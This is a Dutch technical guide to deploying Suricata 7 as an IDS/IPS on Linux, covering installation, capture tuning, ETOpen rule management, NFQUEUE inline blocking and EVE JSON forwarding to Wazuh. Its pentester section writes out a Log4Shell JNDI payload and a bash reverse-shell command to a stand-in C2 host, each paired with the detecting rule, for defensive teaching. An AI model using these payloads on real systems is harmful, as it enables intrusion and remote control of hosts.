Suricata 7 IDS/IPS op Linux: Gids 2026

Q: Hoe update ik Suricata-regels automatisch?

Installeer suricata-update en schakel een systemd-timer in die dagelijks draait: systemctl enable --now suricata-update.timer . De timer haalt regels op, past disable/enable-filters toe en stuurt suricatasc -c reload-rules naar de engine. Reload zonder downtime, geen verkeer-onderbreking.

Bijgewerkt: 18 september 2026

Suricata is een gratis, open-source netwerk-IDS/IPS-engine die verkeer inspecteert met multi-threaded regel-matching en protocolontleding voor HTTP, TLS, DNS, SMB en meer. Op Linux draai je Suricata 7.0 LTS in twee smaken: passieve Intrusion Detection via AF_PACKET of PF_RING, en inline Intrusion Prevention via NFQUEUE, waar pakketten worden gedropt voordat ze de applicatie raken. Deze gids laat zien hoe ik als pentester een aanval opzet, welke sporen die achterlaat in EVE JSON, en welke Suricata-regel de aanval had geblokkeerd voordat mijn shell landde.

Suricata 7.0.7 is de huidige LTS-release. 8.0 introduceert JA4-fingerprinting, snellere rule-loading en betere DPDK-ondersteuning.
De suricata-update-tool synchroniseert Emerging Threats Open (ETOpen) regels: standaard ruim 55.000 regels, waarvan je ongeveer 30% moet uitschakelen om false positives te dempen.
IPS-modus vereist inline plaatsing via NFQUEUE of AF_PACKET IPS-mode. Passieve IDS-modus mist blokkering, maar bewaart forensische waarde.
EVE JSON is het aanbevolen output-formaat: één regel per event, direct ingest-baar door Wazuh, Elastic of Loki.
Voor 10 Gbit/s+ verkeer schakel je Hyperscan, AF_PACKET met meerdere threads en CPU-affiniteit in, anders drop je pakketten voordat de rule-engine ze ziet.
Combineer Suricata (netwerk-laag) met host-agent tooling zoals Wazuh of Falco. Netwerk-signalen alleen missen post-exploitation activiteit binnen de host.

Wat is Suricata en waarom kies je het in 2026?

Suricata is een netwerk-inspectie-engine die door de Open Information Security Foundation (OISF) wordt ontwikkeld. Het onderscheidt zich van Snort door native multi-threading, geïntegreerde protocolparsers en JSON-native logging via EVE. In 2026 is 7.0.7 de aanbevolen productie-release (LTS tot september 2028), terwijl 8.0 al beschikbaar is met JA4-fingerprinting, snellere regel-compilatie en verbeterde DPDK-ondersteuning voor NIC's die kernel-bypass ondersteunen.

Waarom niet gewoon Snort of Zeek? Snort 3 heeft nu ook multi-threading, maar loopt achter op ecosysteem. De meeste open regelsets richten zich primair op Suricata's syntax. Zeek is complementair: het is een protocol-analyzer, geen signature-engine. Bij een klant draai ik Suricata voor bekende dreigingen (CVE-signatures, C2-detectie) én Zeek voor gedragsdetectie op dezelfde SPAN-poort. Kies Suricata wanneer je snel regelgebaseerde detectie wilt met de mogelijkheid om te blokkeren.

Alternatieven zoals betaalde NDR-oplossingen (ExtraHop, Vectra) bieden ML-gebaseerde detectie, maar kosten $50k+ per jaar. Voor MKB en middelgrote enterprises is Suricata plus Wazuh als SIEM voor Linux een volwassen combinatie die 90% van de use-cases dekt tegen infrastructuurkosten.

Suricata 7.0 installeren op Ubuntu 24.04 en RHEL 9

Op Ubuntu 24.04 gebruik ik altijd de officiële OISF PPA. De distro-versie loopt vaak twee minor-releases achter, wat betekent dat je nieuwe regel-keywords mist. Op RHEL 9 en Rocky Linux 10 is EPEL het snelste pad naar 7.0.

# Ubuntu 24.04 - OISF stabiele PPA (Suricata 7.0.x)
sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt update
sudo apt install -y suricata suricata-update jq

# Versie verifiëren
suricata --build-info | head -20

# RHEL 9 / Rocky Linux 10
sudo dnf install -y epel-release
sudo dnf install -y suricata suricata-update jq

# Bevestigen dat Hyperscan en Rust-ondersteuning zijn ingeschakeld
suricata --build-info | grep -E "Hyperscan|Rust support"

Die --build-info uitvoer is cruciaal. Als je Hyperscan mist, valt Suricata terug op de veel langzamere Aho-Corasick multi-pattern matcher. Bij 1 Gbit/s verkeer merk je dat niet, bij 10 Gbit/s stort je engine in. Ik heb dat precies één keer op de harde manier geleerd tijdens een klantengagement met een 10G SPAN-poort, waarna zelf-compilen met --enable-hyperscan een vast onderdeel van mijn checklist werd. De officiële OISF-pakketten hebben Hyperscan overigens standaard aan.

AF_PACKET, threading en interface-configuratie

Suricata leest verkeer via meerdere capture-methodes: PCAP (traag, alleen voor tests), AF_PACKET (Linux-native, snel), PF_RING (kernel-module, sneller) en DPDK (kernel-bypass, snelst). Voor 99% van de deployments is AF_PACKET met meerdere threads de juiste keuze. Geen extra kernel-modules, prestaties tot ongeveer 5 Gbit/s per interface met correcte tuning.

# /etc/suricata/suricata.yaml - af-packet sectie
af-packet:
  - interface: eth0
    threads: auto              # Match aantal fysieke cores op NIC's NUMA-node
    cluster-id: 99             # Uniek per interface
    cluster-type: cluster_flow # Symmetrische hash op 5-tuple
    defrag: yes
    use-mmap: yes
    mmap-locked: yes
    tpacket-v3: yes
    ring-size: 200000          # Verhogen bij packet drops
    block-size: 1048576        # 1 MB blocks voor tpacket-v3
    checksum-checks: no        # NIC doet dit al; scheelt CPU

Belangrijk: promiscuous-mode moet aan op de interface, anders zie je alleen verkeer bestemd voor de host zelf. Op een SPAN-poort of TAP is dat sowieso vereist.

# Interface in promiscuous mode zetten (persistent via systemd)
sudo ip link set eth0 promisc on

# Verifiëren
ip link show eth0 | grep -i promisc

# Optioneel: NIC offloads uitschakelen die Suricata verwarren
sudo ethtool -K eth0 gro off lro off tso off gso off

Waarom offloads uitschakelen? Generic Receive Offload (GRO) en Large Receive Offload (LRO) plakken meerdere pakketten samen voordat ze de kernel bereiken. Suricata krijgt dan één "super-pakket" te zien dat niet meer overeenkomt met wat werkelijk over de draad ging. Signature-matching kan misgaan, en pakket-hashes voor JA3/JA4 kloppen niet meer.

Regelsets beheren met suricata-update en ETOpen

Zonder regels ziet Suricata alles, maar zegt niets. De officiële suricata-update-tool haalt regelsets op, past disable/enable-filters toe en herlaadt de engine. De standaard-bron is Emerging Threats Open (ETOpen), Proofpoint's gratis regelset met momenteel ongeveer 55.000 regels verdeeld over meer dan 40 categorieën.

# Regelbronnen listen en toevoegen
sudo suricata-update list-sources
sudo suricata-update enable-source et/open
sudo suricata-update enable-source oisf/trafficid   # JA3/JA4 categorieën
sudo suricata-update enable-source tgreen/hunting   # threat-hunting rules

# Regels ophalen, compileren en installeren
sudo suricata-update

# Suricata reloaden zonder downtime
sudo suricatasc -c reload-rules

Van die 55.000 regels moet je zo'n 30% uitschakelen om bruikbare signaal-ruisverhouding te krijgen. Het disable.conf-bestand is je vriend:

# /etc/suricata/disable.conf - hoge false-positive categorieën dempen
group:emerging-info.rules
group:emerging-policy.rules
re:.*ET POLICY curl User-Agent.*
re:.*ET INFO Session Traversal Utilities for NAT.*
1:2019401                          # ET POLICY Vulnerable Java Version

Runt sudo suricata-update opnieuw na wijzigingen. Voor een productie-workflow orkestreer ik dit via Ansible met een reload-hook, zodat regel-updates automatisch elke nacht plaatsvinden en de engine wordt gereload.

Suricata in IPS-modus draaien via NFQUEUE

IDS is inzicht, IPS is actie. In IPS-modus zet Suricata pakketten in een NFQUEUE waar de userspace-engine beslist: ACCEPT, DROP of REJECT. De iptables/nftables regel bepaalt welk verkeer naar de queue gaat.

# nftables regel: al het forward-verkeer via queue 0
sudo tee /etc/nftables.d/suricata.nft <<'EOF'
table inet suricata {
    chain forward {
        type filter hook forward priority 0; policy accept;
        counter queue num 0 bypass
    }
}
EOF

sudo systemctl reload nftables

De bypass-optie is essentieel: als Suricata crasht of niet luistert op queue 0, wordt verkeer alsnog geaccepteerd in plaats van gedropt. Zonder bypass verlies je je netwerk zodra de engine faalt.

# Suricata starten in IPS-modus op queue 0
sudo suricata -c /etc/suricata/suricata.yaml -q 0 --pidfile /run/suricata.pid -D

# Systemd unit met IPS-vlag (override)
sudo systemctl edit suricata
# Voeg toe:
# [Service]
# ExecStart=
# ExecStart=/usr/bin/suricata -c /etc/suricata/suricata.yaml -q 0 --pidfile /run/suricata.pid

sudo systemctl daemon-reload
sudo systemctl restart suricata

Verifieer dat regels als drop geconfigureerd zijn. Suricata log-only regels blokkeren niets, ook niet in IPS-modus. Converteer alle alert-regels selectief naar drop:

# /etc/suricata/enable.conf - alert-regels naar drop promoveren
# Alleen voor hoge-confidentie categorieën
modifysid emerging-exploit.rules "alert" | "drop"
modifysid emerging-malware.rules "alert" | "drop"
modifysid emerging-trojan.rules  "alert" | "drop"

Van aanval naar detectie: een pentester-perspectief

Vanuit mijn stoel: ik land een web-shell op een target via een Log4Shell-achtige RCE en probeer een reverse shell te openen naar mijn C2 op poort 443. Welke sporen ziet Suricata?

Stap 1: exploit-payload

De initiële HTTP-request bevat de JNDI-string ${jndi:ldap://c2.example.com/a}. ETOpen regel SID 2034647 (ET EXPLOIT Apache log4j RCE Attempt) matcht op deze pattern en genereert een alert event. In IPS-modus wordt de TCP-stream direct gedropt, dus de request bereikt de applicatie niet.

Stap 2: outbound LDAP

Als stap 1 miste, opent de kwetsbare JVM een LDAP-connectie naar mijn server. Suricata's dns en tcp parsers zien: uitgaande DNS naar een verdachte TLD, gevolgd door LDAP op poort 389. Regel SID 2034648 matcht op de LDAP-response die de Java-serialization payload bevat.

Stap 3: reverse shell

Mijn payload doet bash -i >& /dev/tcp/c2.example.com/443 0>&1. Dit is TCP-verkeer naar 443, ogenschijnlijk normaal, maar zonder TLS-handshake. Suricata's trafficid-regels detecteren "cleartext op 443" en emerging-malware-regels matchen op bekende C2-beacons zoals Cobalt Strike of Sliver. JA4-fingerprinting (Suricata 8.0+) matcht op de TLS-client-hash van bekende C2-frameworks, zelfs als het IP nieuw is.

De les? Één laag detectie is nooit genoeg. Combineer signature-matching (Suricata) met host-runtime-detectie zoals eBPF met Tetragon en Falco om zowel netwerk- als proces-niveau zichtbaarheid te hebben.

EVE JSON parsen en doorsturen naar Wazuh

EVE (Extensible Event Format) is Suricata's JSON-native output-formaat. Elke gebeurtenis (alerts, HTTP transactions, TLS handshakes, DNS queries, flow statistics) komt op één regel in /var/log/suricata/eve.json. Dat is directe ingest-materiaal voor elke moderne log-stack.

# /etc/suricata/suricata.yaml - EVE output
outputs:
  - eve-log:
      enabled: yes
      filetype: regular
      filename: /var/log/suricata/eve.json
      rotate-interval: hourly
      types:
        - alert:
            metadata: yes
            tagged-packets: yes
            xff:
              enabled: yes
              mode: extra-data
              deployment: reverse
              header: X-Forwarded-For
        - http:
            extended: yes
        - dns:
            query: yes
            answer: yes
        - tls:
            extended: yes
            session-resumption: yes
            ja3: yes
            ja4: yes         # Suricata 8.0+
        - flow
        - anomaly

Voor Wazuh 4.9+ voeg je een localfile-blok toe aan /var/ossec/etc/ossec.conf:

<localfile>
  <log_format>json</log_format>
  <location>/var/log/suricata/eve.json</location>
</localfile>

Wazuh's ingebouwde Suricata-decoders parsen severity, signature_id en source/destination IP's automatisch. Combineer met CDB-lists voor threat-intel enrichment: elke src_ip die matcht op een geblokkeerde IP-lijst krijgt een verhoogde rule-level.

# Snelle CLI-analyse zonder SIEM: top-10 alert signatures van vandaag
sudo jq -r 'select(.event_type=="alert") | .alert.signature'   /var/log/suricata/eve.json | sort | uniq -c | sort -rn | head

# TLS JA3-hashes met bijhorend SNI (handig voor threat-hunting)
sudo jq -r 'select(.event_type=="tls") | [.tls.ja3.hash, .tls.sni] | @csv'   /var/log/suricata/eve.json | sort -u

Performance-tuning voor 10 Gbit/s en hoger

Bij 10 Gbit/s verkeer of hoger is packet drop je vijand: een gedropt pakket is een gemiste detectie. Suricata biedt telemetrie via suricatasc:

# Live capture-statistieken
sudo suricatasc -c iface-stat

# Kernel-drops per interface
sudo suricatasc -c iface-stat eth0 | jq '{drops:.drop, invalid_checksums:.invalid_checksums}'

# Rule-performance profiling (top-20 zwaarste regels)
sudo suricatasc -c ruleset-stats

Vier hefbomen die het grootste effect hebben:

Symmetric RSS hashing op de NIC. Beide richtingen van een flow moeten op dezelfde CPU landen, anders verstoort dat de stream-reassembly. Configureer via ethtool -X eth0 hkey met een symmetrische Toeplitz-key.
CPU-affiniteit. Pin worker-threads aan cores op de NUMA-node waar de NIC hangt. Cross-socket geheugen-toegang halveert throughput.
Hyperscan MPM. Bevestig via --build-info. Zet in suricata.yaml mpm-algo: hyperscan.
Rules pruning. Schakel categorieën uit die niet relevant zijn voor je netwerk (bijvoorbeeld emerging-scada als je geen ICS hebt). Dat reduceert de compile-tijd en het geheugenbeslag.

Voor 40+ Gbit/s deployments overweeg DPDK-modus, waar Suricata direct met de NIC praat zonder kernel-tussenkomst. Setup is complexer (hugepages, DPDK-drivers, dedicated cores) maar het levert lineaire schaling tot 100 Gbit/s per node volgens de officiële performance-documentatie.

Veelgemaakte fouten en hoe je ze vermijdt

Wat ik het vaakst zie bij klanten die Suricata al draaien, maar er weinig uithalen:

Alle ETOpen regels aan. 55.000 regels aan zonder tuning genereert per dag duizenden false-positive alerts. Analisten raken afgestompt en missen de echte hits. Prune agressief.
IPS-modus zonder bypass. Eén Suricata-crash en je netwerk staat stil. Altijd queue bypass configureren en fail-open-strategie testen.
Geen HOME_NET tuning. De default HOME_NET matcht op RFC1918. Als je publieke IP-ranges bezit, worden aanvallen op jouw eigen assets gemarkeerd als "outbound" en missen categorie-specifieke regels.
PCAP-mode in productie. libpcap is single-threaded en levert bij verkeer boven 200 Mbit/s significante packet-drops. Migreer altijd naar AF_PACKET.
Geen regel-updates automatiseren. Signatures verouderen. Draai suricata-update minstens dagelijks via een systemd timer of cron.
Suricata als enige detectielaag. Versleuteld verkeer (TLS 1.3, DoH, WireGuard) verbergt payload-inhoud. Zonder host-agents als Wazuh voor Linux SIEM of CrowdSec collaboratieve inbraakpreventie zie je alleen metadata.

Veelgestelde vragen

Wat is het verschil tussen Suricata en Snort?

Suricata is van origine multi-threaded met native protocolparsers en JSON-output. Snort 3 heeft nu ook multi-threading, maar loopt achter op ecosysteem-integratie. De meeste moderne open-source regels worden primair voor Suricata's syntax geschreven. Voor nieuwe deployments in 2026 raad ik Suricata aan, tenzij bestaande Snort-infrastructuur migratie te duur maakt.

Is Suricata gratis te gebruiken in commerciële omgevingen?

Ja. Suricata is uitgebracht onder GPLv2 en OISF vraagt geen licentiekosten. De ETOpen-regelset van Proofpoint is ook gratis. Alleen ETPro (Emerging Threats Pro), een uitgebreidere set met snellere updates, is betaald. Voor de meeste enterprise-use-cases voldoet ETOpen ruimschoots.

Kan Suricata versleuteld TLS-verkeer inspecteren?

Niet de payload zelf zonder TLS-interceptie (SSL-forward-proxy of MITM-CA), wat op de meeste corporate netwerken vanwege privacy en HSTS niet haalbaar is. Wel extraheert Suricata JA3/JA4-fingerprints, SNI, certificaatgegevens en versies. Dat is genoeg om bekende C2-frameworks en malware-samples te herkennen, ook binnen TLS 1.3-tunnels.

Hoe update ik Suricata-regels automatisch?

Installeer suricata-update en schakel een systemd-timer in die dagelijks draait: systemctl enable --now suricata-update.timer. De timer haalt regels op, past disable/enable-filters toe en stuurt suricatasc -c reload-rules naar de engine. Reload zonder downtime, geen verkeer-onderbreking.

Werkt Suricata in een gevirtualiseerde omgeving of container?

Ja, maar met caveats. In een VM met vSwitch (VMware, KVM) heb je een SPAN-poort of ERSPAN-tunnel nodig om verkeer naar Suricata te mirroren. In containers werkt IDS-mode alleen als de container-netwerk-namespace shared is met de host (--net=host). Voor Kubernetes-clusters is een dedicated network monitor node met een SPAN-poort van de fysieke switch de betrouwbaarste aanpak.